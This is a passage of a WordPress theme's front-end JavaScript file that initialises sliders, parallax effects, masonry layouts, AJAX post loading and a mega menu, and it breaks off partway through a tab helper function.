/home/preegmxb/gymnyou.com/wp-content/themes/authentic/js/scripts.js
( function( $ ) {
	"use strict";

	/**
	 * Global Vars
	 */
	var windowWidth = window.innerWidth,
		windowHeight = window.innerHeight,
		adminBarHeight = $( '#wpadminbar' ).innerHeight(),
		headerHeight = $( '.site-header' ).innerHeight(),
		navBarHeight = $( '.navbar-primary' ).innerHeight();

	if ( $( 'body' ).hasClass( 'admin-bar' ) ) {
		if ( window.innerWidth > 782 ) {
			adminBarHeight = 32;
		} else {
			adminBarHeight = 46;
		}
	}

	$( document ).ready( function() {
		headerHeight = $( '.site-header' ).innerHeight();
		navBarHeight = $( '.navbar-primary' ).innerHeight();
	} );

	$( window ).resize( function() {
		windowWidth = window.innerWidth;
		windowHeight = window.innerHeight;
		adminBarHeight = $( '#wpadminbar' ).innerHeight();
		headerHeight = $( '.site-header' ).innerHeight();
		navBarHeight = $( '.navbar-primary' ).innerHeight();
	} );

	var isIE = /MSIE|Trident/i.test( navigator.userAgent );

	var isRetina = false;

	if ( window.matchMedia ) {
		var mq = window.matchMedia( "only screen and (min--moz-device-pixel-ratio: 1.3), only screen and (-o-min-device-pixel-ratio: 2.6/2), only screen and (-webkit-min-device-pixel-ratio: 1.3), only screen  and (min-device-pixel-ratio: 1.3), only screen and (min-resolution: 1.3dppx)" );
		if ( mq && mq.matches || ( window.devicePixelRatio > 1 ) ) {
			isRetina = true;
		}
	}

	var rtl = false;

	if ( $( 'body' ).hasClass( 'rtl' ) ) {
		rtl = true;
	}

	// Create csco object.
	var csco = {
		addAction: function( x, y, z ) {
			return;
		}
	};

	if ( 'undefined' !== typeof wp && 'undefined' !== typeof wp.hooks ) {
		csco.addAction = wp.hooks.addAction;
	}

	/**
	 * Cookies
	 */
	function csGetCookie( name ) {
		let matches = document.cookie.match( new RegExp(
			"(?:^|; )" + name.replace( /([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1' ) + "=([^;]*)"
		) );
		return matches ? decodeURIComponent( matches[ 1 ] ) : undefined;
	}

	function csSetCookie( name, value, props = {} ) {

		props = {
			path: '/'
		};

		if ( props.expires instanceof Date ) {
			props.expires = props.expires.toUTCString();
		}

		let updatedCookie = encodeURIComponent( name ) + "=" + encodeURIComponent( value );

		for ( let optionKey in props ) {
			updatedCookie += "; " + optionKey;
			let optionValue = props[ optionKey ];
			if ( optionValue !== true ) {
				updatedCookie += "=" + optionValue;
			}
		}

		document.cookie = updatedCookie;
	}

	/**
	 * Google AdSense
	 */

	try {
		$( '.adsbygoogle' ).each( function() {
			( adsbygoogle = window.adsbygoogle || [] ).push( {} );
		} );
	} catch ( ex ) {}
	/**
	 * Carousel
	 */

	function initCarouselLoop() {
		var CarouselLoop = $( '.cs-block-carousel .slider-loop' );

		CarouselLoop.each( function() {

			var container = this;
			var owl = $( '.owl-carousel', this );

			$( owl ).imagesLoaded( function() {

				owl.owlCarousel( {
					dragEndSpeed: 250,
					smartSpeed: 250,
					autoHeight: true,
					dots: true,
					dotsContainer: $( '> .owl-dots', container ),
					rtl: rtl,
					responsive: {
						0: {
							items: 1,
							margin: 0,
						},
						760: {
							items: 2,
							margin: 40,
						},
						1020: {
							items: 3,
							margin: 30,
						},
						1120: {
							items: 3,
							margin: 40,
						},
						1240: {
							items: $( container ).data( 'columns' ),
							margin: 30,
						},
						1640: {
							items: $( container ).data( 'columns' ),
							margin: 40,
						},
					},
				} );

			} );

		} );
	}

	$( document ).ready( function() {
		initCarouselLoop();
		$( document.body ).on( 'post-load', function() {
			initCarouselLoop();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'posts-init-carousel', function( props ) {
			if ( 'canvas/posts' === props.block ) {
				initCarouselLoop();
			}
		} );
	} );
	/*
	 * ----------------------------------------------------------------------------
	 * Block Sliders
	 */

	var cscoBlockSliders = {};

	( function() {
		var $this;

		cscoBlockSliders = {

			windowWidth: 0,

			/*
			 * Initialize
			 */
			init: function( e ) {
				$this = cscoBlockSliders;

				// Init events.
				$this.events( e );
			},

			/*
			 * Events
			 */
			events: function( e ) {
				// DOM Load
				window.addEventListener( 'load', function( e ) {
					$this.initSliderCenter();
					$this.initSliderBoxed();
					$this.initSliderWide();
					$this.initSliderMultiple();
					$this.initSliderLarge();
				} );

				// Triggers.
				window.addEventListener( 'post-load', function( e ) {
					$this.initSliderCenter();
					$this.initSliderBoxed();
					$this.initSliderWide();
					$this.initSliderMultiple();
					$this.initSliderLarge();
				} );

				// Gutenberg.
				csco.addAction( 'canvas.components.serverSideRender.onChange', 'init-slider', function( props ) {
					if ( 'canvas/posts' === props.block ) {
						$this.initSliderCenter();
						$this.initSliderBoxed();
						$this.initSliderWide();
						$this.initSliderMultiple();
						$this.initSliderLarge();
					}
				} );

				// Resize
				window.addEventListener( 'resize', function( event ) {
					if ( $( window ).width() === $this.windowWidth ) {
						return;
					}

					$this.windowWidth = $( window ).width();

					$this.sliderLargeResized( event );
				} );
			},

			/*
			 * Initialized Hook
			 */
			onInitialized: function( event ) {

				if ( $( 'body' ).hasClass( 'parallax-enabled' ) ) {

					var $container = $( event.target );

					$( $container ).closest( '.cs-block-slider-featured' ).find( 'article' ).each( function() {
						var $article = $( this );

						// Slide media.
						$article.find( '.slide-parallax:not(.slide-video) .overlay-media' ).each( function() {

							$( this ).jarallax( {
								speed: 0.8,
								elementInViewport: $container,
								noIos: false,
							} );

							$( this ).attr( 'data-parallax', 'image' );

						} );

						// Slide Video.
						$article.find( '.slide-video' ).each( function() {

							var videoSrc = $( this ).data( 'video' ),
								videoStartTime = $( this ).data( 'start' ),
								videoEndTime = $( this ).data( 'end' ),
								speed = 0.8;

							if ( !$( this ).hasClass( 'slide-parallax' ) ) {
								speed = 1;
							}

							$( '.overlay-media', this ).jarallax( {
								speed: speed,
								videoSrc: videoSrc,
								videoStartTime: videoStartTime,
								videoEndTime: videoEndTime,
								elementInViewport: $container,
								videoPlayOnlyVisible: true,
								noIos: false,
							} );

							$( '.overlay-media', this ).attr( 'data-parallax', 'video' );
						} );
					} );
				}

				// Recalc.
				$( window ).trigger( 'slider-refresh' );
			},

			/*
			 * Resize Hook
			 */
			onResized: function( event ) {

				if ( $( 'body' ).hasClass( 'parallax-enabled' ) ) {
					// Reinit Parallax.
					$( event.target ).find( '.slide-parallax .overlay-media' ).each( function() {

						if ( $( this ).attr( 'data-parallax' ) ) {
							$( this ).jarallax( 'clipContainer' ).jarallax( 'coverImage' ).jarallax( 'onScroll' );
						}
					} );
				}
			},

			/*
			 * Slider Center
			 */
			initSliderCenter: function() {
				var sliderCenter = $( '.cs-block-slider-center' );

				sliderCenter.imagesLoaded( function( instance ) {

					$( instance.elements ).each( function() {

						function setArrowWidth( event ) {
							var carousel = $( event.target );
							$( '.owl-arrows > button', carousel.parent() ).css( 'width', ( carousel.innerWidth() - $( '.owl-item.center', carousel ).innerWidth() - carousel.parent().data( 'padding' ) * 2 ) / 2 + 'px' );
						}

						function sliderCenterInitialized( event ) {
							setArrowWidth( event );

							$this.onInitialized( event );
						}

						function sliderCenterResized( event ) {
							setArrowWidth( event );

							$this.onResized( event );
						}

						var container = $( this );

						var owl = $( '.owl-carousel', container );

						owl.owlCarousel( {
							autoplayHoverPause: true,
							dragEndSpeed: 500,
							smartSpeed: 500,
							dotsContainer: $( '.owl-dots', container ),
							navContainer: $( '.owl-arrows', container ),
							navText: [ '', '' ],
							autoHeight: true,
							rtl: rtl,
							responsive: {
								0: {
									items: 1,
									loop: false,
									margin: 0,
									dots: true,
									nav: false,
								},
								1020: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
									loop: false,
									margin: 0,
									items: 1,
									dots: true,
									nav: false,
								},
								1240: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
									margin: $( this ).data( 'padding' ),
									center: true,
									items: 3,
									loop: true,
									autoWidth: true,
									dots: false,
									nav: true,
								}
							},
							onInitialized: sliderCenterInitialized,
							onResized: sliderCenterResized,
							onRefresh: sliderCenterResized,
							onChanged: sliderCenterResized,
						} );
					} );
				} );
			},

			/*
			 * Slider Boxed
			 */
			initSliderBoxed: function() {
				var sliderBoxed = $( '.cs-block-slider-boxed' );

				sliderBoxed.imagesLoaded( function( instance ) {

					$( instance.elements ).each( function() {

						var container = this;

						var owl = $( '.owl-carousel', this );

						owl.owlCarousel( {
							autoplayHoverPause: true,
							dragEndSpeed: 500,
							smartSpeed: 500,
							items: 1,
							margin: 0,
							autoHeight: true,
							navText: [
								'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.previous + '</span></div>',
								'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.next + '</span></div>'
							],
							dots: true,
							dotsContainer: $( '.owl-dots', container ),
							navContainer: $( '.owl-arrows', container ),
							rtl: rtl,
							responsive: {
								0: {
									nav: false,
								},
								1020: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
									nav: true,
									loop: true
								}
							},
							onInitialized: $this.onInitialized,
							onResized: $this.onResized,
							onRefresh: $this.onResized,
							onChanged: $this.onResized,
						} );

					} );
				} );
			},

			/*
			 * Slider Wide
			 */
			initSliderWide: function() {
				var sliderWide = $( '.cs-block-slider-wide' );

				sliderWide.imagesLoaded( function( instance ) {

					$( instance.elements ).each( function() {

						var container = this;
						var owl = $( '.owl-carousel', this );

						owl.owlCarousel( {
							autoplayHoverPause: true,
							dragEndSpeed: 500,
							smartSpeed: 500,
							items: 1,
							margin: 0,
							autoHeight: true,
							navText: [
								'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.previous + '</span></div>',
								'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.next + '</span></div>'
							],
							dots: true,
							dotsContainer: $( '.owl-dots', container ),
							navContainer: $( '.owl-arrows', container ),
							rtl: rtl,
							responsive: {
								0: {
									nav: false,
								},
								1020: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
									nav: true,
									loop: true
								}
							},
							onInitialized: $this.onInitialized,
							onResized: $this.onResized,
							onRefresh: $this.onResized,
							onChanged: $this.onResized,
						} );

					} );
				} );
			},

			/*
			 * Slider Multiple
			 */
			initSliderMultiple: function() {
				var sliderMultiple = $( '.cs-block-slider-multiple' );

				sliderMultiple.imagesLoaded( function( instance ) {

					$( instance.elements ).each( function() {

						var container = this;

						var owl = $( '.owl-carousel', this );

						owl.owlCarousel( {
							autoplayHoverPause: true,
							dragEndSpeed: 500,
							smartSpeed: 500,
							navContainer: $( '.owl-arrows', container ),
							navText: [ '', '' ],
							dots: true,
							dotsContainer: $( '.owl-dots', container ),
							autoHeight: true,
							rtl: rtl,
							responsive: {
								0: {
									nav: false,
									loop: false,
									margin: 0,
									stagePadding: 0,
									items: 1,
								},
								1020: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
								},
								1120: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
									margin: $( this ).data( 'padding' ),
									items: $( this ).data( 'slides-visible' ),
									nav: true,
									loop: true,
									stagePadding: 90,
								}
							},
							onInitialized: $this.onInitialized,
							onResized: $this.onResized,
							onRefresh: $this.onResized,
							onChanged: $this.onResized,
						} );

					} );
				} );
			},

			/*
			 * Slider Large
			 */
			initSliderLarge: function() {
				var sliderLarge = $( '.cs-block-slider-large' );

				sliderLarge.imagesLoaded( function( instance ) {

					$( instance.elements ).each( function() {

						var container = this,
							owl = $( '.owl-carousel', this ),
							autoHeight = false;

						if ( $( document.body ).hasClass( 'style-type-classic' ) ) {
							autoHeight = true;
						}

						owl.owlCarousel( {
							autoplayHoverPause: true,
							dragEndSpeed: 500,
							smartSpeed: 500,
							autoHeight: autoHeight,
							items: 1,
							margin: 0,
							navText: [
								'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.previous + '</span></div>',
								'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.next + '</span></div>'
							],
							dots: true,
							dotsContainer: $( '.owl-dots', container ),
							navContainer: $( '.owl-arrows', container ),
							rtl: rtl,
							responsive: {
								0: {
									nav: false,
								},
								1020: {
									autoplay: $( this ).data( 'autoplay' ),
									autoplayTimeout: $( this ).data( 'timeout' ),
									nav: true,
									loop: true,
								}
							},
							onInitialized: $this.sliderLargeInitialized,
							onTranslated: $this.sliderLargePosition,
							onResized: $this.sliderLargeResized,
							onRefresh: $this.sliderLargeResized,
							onChanged: $this.sliderLargeResized,
						} );
					} );
				} );
			},

			/*
			 * Slider Large Change Position
			 */
			sliderLargePosition: function() {

				var siteContentTop = 0;

				// Redefine variables.
				var sectionLarge = $( '.has-slider-large .cnvs-block-section-layout-align-full:first-child' );
				var sliderLarge = $( sectionLarge ).find( '.cnvs-block-posts-layout-slider-large:first-child .cs-block-slider-large' );
				var sliderLargeOuter = $( '.overlay-outer', sliderLarge );

				if ( $( '.site-content' ).length > 0 ) {
					siteContentTop = $( '.site-content' ).css( 'margin-top' ).replace( 'px', '' );
				}

				// Define heights.
				var owlSlide = $( '.post-outer', sliderLarge ),
					contentHeight = $( '.overlay-inner', owlSlide ).innerHeight(),
					offsetHeight = ( parseInt( adminBarHeight ) || 0 ) + ( parseInt( siteContentTop ) || 0 ) + ( parseInt( headerHeight ) || 0 ),
					availableHeight = windowHeight - offsetHeight,
					viewPortHeight = '100vh';

				// Offset page header.
				sliderLarge.css( 'margin-top', -offsetHeight + 'px' );
				sliderLargeOuter.css( 'padding-top', offsetHeight + 'px' );

				// Set the slider height.
				if ( availableHeight >= contentHeight ) {
					sliderLargeOuter.css( 'height', viewPortHeight );
				} else {
					sliderLargeOuter.css( 'height', contentHeight + offsetHeight + 'px' );
				}

				// Return if overlay variant is set to bottom.
				if ( $( document.body ).hasClass( 'style-align-left' ) ) {
					return;
				}

				// Add extra padding, if possible.
				if ( availableHeight - offsetHeight >= contentHeight ) {
					sliderLargeOuter.css( 'padding-bottom', offsetHeight + 'px' );
				} else {
					sliderLargeOuter.css( 'padding-bottom', 0 );
				}
			},

			/*
			 * Slider Large Initialized
			 */
			sliderLargeInitialized: function( event ) {
				$this.sliderLargePosition();

				$this.onInitialized( event );
			},

			/*
			 * Slider Large Resized
			 */
			sliderLargeResized: function( event ) {
				$this.sliderLargePosition();

				$this.onResized( event );
			}
		};

	} )();

	// Initialize.
	cscoBlockSliders.init();

	( function() {
		var ticking = false;

		var update = function() {

			// Sidebar.
			// -----------------------------------.
			$( '.content-area .site-main' ).each( function() {

				var content = $( this ).find( '.entry-content' );
				var sidebar = $( this ).find( '.post-sidebar .pk-share-buttons-wrap' );

				// Vars offset.
				var offsetTop = 20;
				var offsetBottom = -20;

				// Search elements.
				var elements = [];

				elements.push( '> .alignfull' );
				elements.push( '> .alignwide' );

				var layouts = $( content ).find( elements.join( ',' ) );

				if ( 0 === sidebar.length ) {
					return;
				}
				if ( 0 === layouts.length ) {
					return;
				}

				var disabled = false;

				// Get sidebar values.
				var sidebarTop = $( sidebar ).offset().top;
				var sidebarHeight = $( sidebar ).outerHeight( true );

				for ( let i = 0; i < $( layouts ).length; ++i ) {
					if ( 'none' === $( layouts[ i ] ).css( 'transform' ) ) {
						continue;
					}

					// Get layout values.
					let layoutTop = $( layouts[ i ] ).offset().top;
					let layoutHeight = $( layouts[ i ] ).outerHeight( true );

					// Calc points.
					let pointTop = layoutTop - offsetTop;
					let pointBottom = layoutTop + layoutHeight + offsetBottom;

					// Detect sidebar location.
					if ( sidebarTop + sidebarHeight >= pointTop && sidebarTop <= pointBottom ) {
						disabled = true;
					}
				}


				if ( disabled ) {
					$( sidebar ).css( 'opacity', '0' );
				} else {
					$( sidebar ).css( 'opacity', '1' );
				}
			} );

			// Pagination.
			// -----------------------------------.
			$( '.content-area .site-main' ).each( function() {

				var content = $( this ).find( '.entry-content' );
				var pagination = $( this ).find( '.posts-pagination article:first-child' );

				// Vars offset.
				var offsetTop = -20;
				var offsetBottom = -140;

				// Search elements.
				var elements = [];

				elements.push( '> .alignfull' );

				var layouts = $( content ).find( elements.join( ',' ) );

				if ( 0 === pagination.length ) {
					return;
				}
				if ( 0 === layouts.length ) {
					return;
				}

				var disabled = false;

				// Get pagination values.
				var paginationTop = $( pagination ).find( '> a' ).offset().top;
				var paginationHeight = $( pagination ).find( '> a' ).outerWidth( true );

				for ( let i = 0; i < $( layouts ).length; ++i ) {
					if ( 'none' === $( layouts[ i ] ).css( 'transform' ) ) {
						continue;
					}

					// Get layout values.
					let layoutTop = $( layouts[ i ] ).offset().top;
					let layoutHeight = $( layouts[ i ] ).outerHeight( true );

					// Calc points.
					let pointTop = layoutTop - offsetTop;
					let pointBottom = layoutTop + layoutHeight + offsetBottom;

					// Detect pagination location.
					if ( paginationTop + paginationHeight >= pointTop && paginationTop <= pointBottom ) {
						disabled = true;
					}
				}

				if ( disabled ) {
					$( pagination ).parent().css( 'opacity', '0' );
					$( pagination ).parent().css( 'visibility', 'hidden' );
				} else {
					$( pagination ).parent().css( 'opacity', '1' );
					$( pagination ).parent().css( 'visibility', 'visible' );
				}
			} );

			// Ticking.
			ticking = false;
		};

		var requestTick = function() {
			if ( !ticking ) {
				window.requestAnimationFrame( update );
				ticking = true;
			}
		};

		var onProcess = function() {
			requestTick();
		};

		$( window ).on( 'scroll', onProcess );
		$( window ).on( 'resize', onProcess );
		$( window ).on( 'image-load', onProcess );
		$( window ).on( 'post-load', onProcess );
		$( window ).on( 'slider-refresh', onProcess );

	} )();

	// Init slider for powerkit featured posts.

	function initFeaturedSlider() {
		// Widget Post Featured
		$( '.pk-widget-posts-template-slider, .cnvs-block-posts-sidebar-slider .cnvs-block-posts-sidebar-inner' ).each( function() {
			if ( $( this ).hasClass( 'init-slider' ) ) {
				return;
			}

			$( this ).addClass( 'init-slider' );

			// Wrap inner of slider-container.
			$( this ).wrapInner( '<div class="slider-container slider-flip"></div>' );

			// Add owl-carousel class.
			$( this ).find( '.slider-flip > ul' ).addClass( 'owl-carousel' );

			// Add owl dots.
			$( this ).find( '.slider-flip' ).append( '<div class="owl-dots"></div>' );
		} );
	}

	$( document ).ready( function() {
		initFeaturedSlider();
		initSliderFlip();

		$( document.body ).on( 'post-load', function() {
			initFeaturedSlider();
			initSliderFlip();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'initFeaturedSlider', function( props ) {
			initFeaturedSlider();
			initSliderFlip();
		} );

	} );

	/**
	 * AJAX Load More.
	 *
	 * Contains functions for AJAX Load More.
	 */

	$( function() {

		if ( 'undefined' === typeof window.load_more_query ) {
			window.load_more_query = [];
		}

		/**
		 * Get next posts
		 */
		function csco_ajax_get_posts( object ) {
			var container = $( object ).closest( '.post-archive' );

			var settings = $( object ).data( 'settings' );
			var page = $( object ).data( 'page' );

			$( object ).data( 'loading', true );

			// Set button text to Load More.
			$( object ).text( settings.translation.loading );

			var data = {
				action: 'csco_ajax_load_more',
				page: page,
				posts_per_page: settings.posts_per_page,
				query_data: settings.query_data,
				attributes: settings.attributes,
				options: settings.options,
				_ajax_nonce: settings.nonce,
			};

			// Request Url.
			var csco_pagination_url;

			if ( 'ajax_restapi' === settings.type ) {
				csco_pagination_url = settings.rest_url;
			} else {
				csco_pagination_url = settings.url;
			}

			// Send Request.
			$.post( csco_pagination_url, data, function( res ) {
				if ( res.success ) {

					// Get the posts.
					var data = $( res.data.content );

					// Check if there're any posts.
					if ( data.length ) {

						data.imagesLoaded( function() {

							// Append new posts to list, standard and grid archives.
							$( container ).find( '.archive-main.archive-list, .archive-main.archive-standard, .archive-main.archive-grid' ).append( data );

							// Append new posts to masonry layout.
							$( container ).find( '.archive-main.archive-masonry' ).colcade( 'append', data );

							// WP Post Load trigger.
							$( document.body ).trigger( 'post-load' );

							// Reinit Facebook widgets.
							if ( $( '#fb-root' ).length ) {
								FB.XFBML.parse();
							}

							// Set button text to Load More.
							$( object ).text( settings.translation.load_more );

							// Increment a page.
							page = page + 1;

							$( object ).data( 'page', page );

							// Set the loading state.
							$( object ).data( 'loading', false );
						} );

					}

					// Remove Button on Posts End.
					if ( res.data.posts_end || !data.length ) {

						// Remove Load More button.
						$( object ).remove();
					}

				} else {
					// console.log(res);
				}
			} ).fail( function( xhr, textStatus, e ) {
				// console.log(xhr.responseText);
			} );
		}

		/**
		 * Initialization Load More
		 */
		function csco_load_more_init( infinite ) {
			$( '.post-archive' ).each( function() {

				if ( $( this ).data( 'init' ) ) {
					return;
				}

				var csco_ajax_settings;

				if ( typeof csco_ajax_pagination !== 'undefined' ) {
					csco_ajax_settings = csco_ajax_pagination;
				}

				var archive_data = $( this ).data( 'archive-data' );

				if ( archive_data ) {
					csco_ajax_settings = JSON.parse( window.atob( archive_data ) );
				}

				if ( csco_ajax_settings ) {

					if ( !infinite && csco_ajax_settings.infinite_load ) {
						return;
					}

					// Add load more button.
					$( this ).find( '.archive-pagination' ).append( '<span class="load-more button btn-lg button-primary">' + csco_ajax_settings.translation.load_more + '</span>' );

					// Set load more settings.
					$( this ).find( '.load-more' ).data( 'settings', csco_ajax_settings );
					$( this ).find( '.load-more' ).data( 'page', 2 );
					$( this ).find( '.load-more' ).data( 'loading', false );
					$( this ).find( '.load-more' ).data( 'scrollHandling', {
						allow: $.parseJSON( csco_ajax_settings.infinite_load ),
						delay: 400
					} );
				}

				$( this ).data( 'init', true );
			} );
		}

		csco_load_more_init( true );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'posts-init-loadmore', function( props ) {
			if ( 'canvas/posts' === props.block ) {
				csco_load_more_init( false );
			}
		} );

		// On Scroll Event.
		$( window ).scroll( function() {

			$( '.post-archive .load-more' ).each( function() {

				var loading = $( this ).data( 'loading' );
				var scrollHandling = $( this ).data( 'scrollHandling' );

				if ( $( this ).length && !loading && scrollHandling.allow ) {
					scrollHandling.allow = false;

					$( this ).data( 'scrollHandling', scrollHandling );

					var object = this;

					setTimeout( function() {
						var scrollHandling = $( object ).data( 'scrollHandling' );

						scrollHandling.allow = true;

						$( object ).data( 'scrollHandling', scrollHandling );
					}, scrollHandling.delay );

					var offset = $( this ).offset().top - $( window ).scrollTop();
					if ( 4000 > offset ) {
						csco_ajax_get_posts( this );
					}
				}
			} );
		} );

		// On Click Event.
		$( 'body' ).on( 'click', '.load-more', function() {
			var loading = $( this ).data( 'loading' );

			if ( !loading ) {
				csco_ajax_get_posts( this );
			}
		} );
	} );

	/**
	 * AJAX Auto Load Next Post.
	 *
	 * Contains functions for AJAX Auto Load Next Post.
	 */

	( function() {
		/**
		 * Check if Load Nextpost is defined by the wp_localize_script
		 */
		if ( typeof csco_ajax_nextpost !== 'undefined' ) {

			var objNextparent = $( '.site-inner > .site-content' ),
				objNextsect = '.cs-nextpost-section',
				objNextpost = null,
				currentNTitle = document.title,
				currentNLink = window.location.href,
				loadingNextpost = false,
				scrollNextpost = {
					allow: true,
					reallow: function() {
						scrollNextpost.allow = true;
					},
					delay: 400 //(milliseconds) adjust to the highest acceptable value
				};

			// Init.
			if ( csco_ajax_nextpost.next_post ) {
				$( objNextparent ).after( '<div class="cs-nextpost-inner"></div>' );

				objNextpost = $( '.cs-nextpost-inner' );
			}
		}

		/**
		 * Get next post
		 */
		function csco_ajax_get_nextpost() {
			loadingNextpost = true;

			// Set class loading.
			var data = {
				action: 'csco_ajax_load_nextpost',
				not_in: csco_ajax_nextpost.not_in,
				current_user: csco_ajax_nextpost.current_user,
				nonce: csco_ajax_nextpost.nonce,
				next_post: csco_ajax_nextpost.next_post,
			};

			// Request Url.
			var csco_ajax_nextpost_url;
			if ( 'ajax_restapi' === csco_ajax_nextpost.type ) {
				csco_ajax_nextpost_url = csco_ajax_nextpost.rest_url;
			} else {
				csco_ajax_nextpost_url = csco_ajax_nextpost.url;
			}

			// Send Request.
			$.post( csco_ajax_nextpost_url, data, function( res ) {

				csco_ajax_nextpost.next_post = false;

				if ( res.success ) {

					// Get the posts.
					var data = $( res.data.content );

					// Check if there're any posts.
					if ( data.length ) {
						// Set the loading state.
						loadingNextpost = false;

						// Set not_in.
						csco_ajax_nextpost.not_in = res.data.not_in;

						// Set next data.
						csco_ajax_nextpost.next_post = res.data.next_post;

						// Remove loader.
						$( objNextpost ).siblings( '.cs-nextpost-loading' ).remove();

						// Append new post.
						$( objNextpost ).append( data );

						// Reinit facebook.
						if ( $( '#fb-root' ).length ) {
							FB.XFBML.parse();
						}

						$( document.body ).trigger( 'post-load' );
					}
				} else {
					// console.log(res);
				}
			} ).fail( function( xhr, textStatus, e ) {
				// console.log(xhr.responseText);
			} );
		}

		/**
		 * Check if Load Nextpost is defined by the wp_localize_script
		 */
		if ( typeof csco_ajax_nextpost !== 'undefined' ) {

			// On Scroll Event.
			$( window ).scroll( function() {
				var scrollTop = $( window ).scrollTop();

				// Init nextpost.
				if ( csco_ajax_nextpost.next_post ) {

					if ( objNextpost.length && !loadingNextpost && scrollNextpost.allow ) {
						scrollNextpost.allow = false;
						setTimeout( scrollNextpost.reallow, scrollNextpost.delay );
						// Calc current offset.
						let offset = objNextpost.offset().top + objNextpost.innerHeight() - scrollTop;
						// Load nextpost.
						if ( 4000 > offset ) {
							$( objNextpost ).after( '<div class="cs-nextpost-loading"></div>' );

							csco_ajax_get_nextpost();
						}
					}
				}

				// Reset browser data link.
				let objFirst = $( objNextsect ).first();

				if ( objFirst.length ) {
					let firstTop = $( objFirst ).offset().top;
					// If there has been a change.
					if ( scrollTop < firstTop && window.location.href !== currentNLink ) {
						document.title = currentNTitle;
						window.history.pushState( null, currentNTitle, currentNLink );
					}
				}

				// Set browser data link.
				$( objNextsect ).each( function( index, elem ) {

					let elemTop = $( elem ).offset().top;
					let elemHeight = $( elem ).innerHeight();

					if ( scrollTop > elemTop && scrollTop < elemTop + elemHeight ) {
						// If there has been a change.
						if ( window.location.href !== $( elem ).data( 'url' ) ) {
							// New title.
							document.title = $( elem ).data( 'title' );
							// New link.
							window.history.pushState( null, $( elem ).data( 'title' ), $( elem ).data( 'url' ) );
							// Google Analytics.
							if ( typeof gtag === 'function' && typeof window.gaData === 'object' ) {

								var trackingId = Object.keys( window.gaData )[ 0 ];
								if ( trackingId ) {
									gtag( 'config', trackingId, {
										'page_title': $( elem ).data( 'title' ),
										'page_location': $( elem ).data( 'url' )
									} );

									gtag( 'event', 'page_view', { 'send_to': trackingId } );
								}
							}
						}
					}
				} );
			} );
		}

	} )();

	/**
	 * Masonry Archive
	 */

	function initMasonry() {

		var masonryArchive = $( '.archive-masonry' ),
			masonryArchiveOptions = {
				columns: '.archive-col',
				items: '.post-masonry, .post-featured, .widget'
			};

		$( masonryArchive ).imagesLoaded( function() {
			$( masonryArchive ).colcade( masonryArchiveOptions );
		} );

		/**
		 * Masonry Sidebar
		 */

		var masonrySidebar = $( '.sidebar-area' ),
			masonrySidebarOptions = {
				columns: '.sidebar',
				items: ' .widget'
			};

		$( masonrySidebar ).imagesLoaded( function() {
			$( masonrySidebar ).colcade( masonrySidebarOptions );
		} );

	}

	$( document ).ready( function() {
		initMasonry();

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'posts-init-masonry', function( props ) {
			if ( 'canvas/posts' === props.block ) {
				initMasonry();
			}
		} );
	} );

	/*
	 * Load Mega Menu Posts
	 */
	function cscoLoadMenuPosts( menuItem ) {
		var dataTerm = menuItem.children( 'a' ).data( 'term' ),
			dataPosts = menuItem.children( 'a' ).data( 'posts' ),
			dataNumberposts = menuItem.children( 'a' ).data( 'numberposts' ),
			menuContainer,
			postsContainer;

		// Containers.
		if ( menuItem.hasClass( 'csco-mega-menu-term' ) ) {
			menuContainer = menuItem;
			postsContainer = menuContainer.find( '.cs-mm-posts' );
		}

		if ( menuItem.hasClass( 'csco-mega-menu-posts' ) ) {
			menuContainer = menuItem;
			postsContainer = menuContainer.find( '.cs-mm-posts' );
		}

		if ( menuItem.hasClass( 'csco-mega-menu-child-term' ) ) {
			menuContainer = menuItem.closest( '.sub-menu' );
			postsContainer = menuContainer.find( '.cs-mm-posts[data-term="' + dataTerm + '"]' );
		}

		// Check Menu Container.
		if ( !menuContainer || typeof menuContainer === 'undefined' ) {
			return false;
		}

		// Check Container.
		if ( !postsContainer || typeof postsContainer === 'undefined' ) {
			return false;
		}

		// Set Active.
		menuContainer.find( '.menu-item, .cs-mm-posts' ).removeClass( 'active-item' );

		menuItem.addClass( 'active-item' );

		if ( postsContainer ) {
			postsContainer.addClass( 'active-item' );
		}

		// Check Loading.
		if ( menuItem.hasClass( 'cs-mm-loading' ) || menuItem.hasClass( 'loaded' ) ) {
			return false;
		}

		// Create Data.
		var data = {
			'term': dataTerm,
			'posts': dataPosts,
			'per_page': dataNumberposts
		};

		// Get Results.
		$.ajax( {
			url: csco_mega_menu.rest_url,
			type: 'GET',
			data: data,
			global: false,
			async: true,
			beforeSend: function() {
				menuItem.addClass( 'cs-mm-loading' );
				postsContainer.addClass( 'cs-mm-loading' );
			},
			success: function( res ) {
				if ( res.status && 'success' === res.status ) {

					// Set the loaded state.
					menuItem.addClass( 'loaded' );
					postsContainer.addClass( 'loaded' );

					// Check if there're any posts.
					if ( res.content && res.content.length ) {

						$( res.content ).imagesLoaded( function() {

							// Append Data.
							postsContainer.html( res.content );
						} );
					}
				}
			},
			complete: function() {
				// Set the loading state.
				menuItem.removeClass( 'cs-mm-loading' );
				postsContainer.removeClass( 'cs-mm-loading' );
			}
		} );
	}

	/*
	 * Get First Tab
	 */
	function cscoGetFirstTab( container ) {

		var firstTab = false;

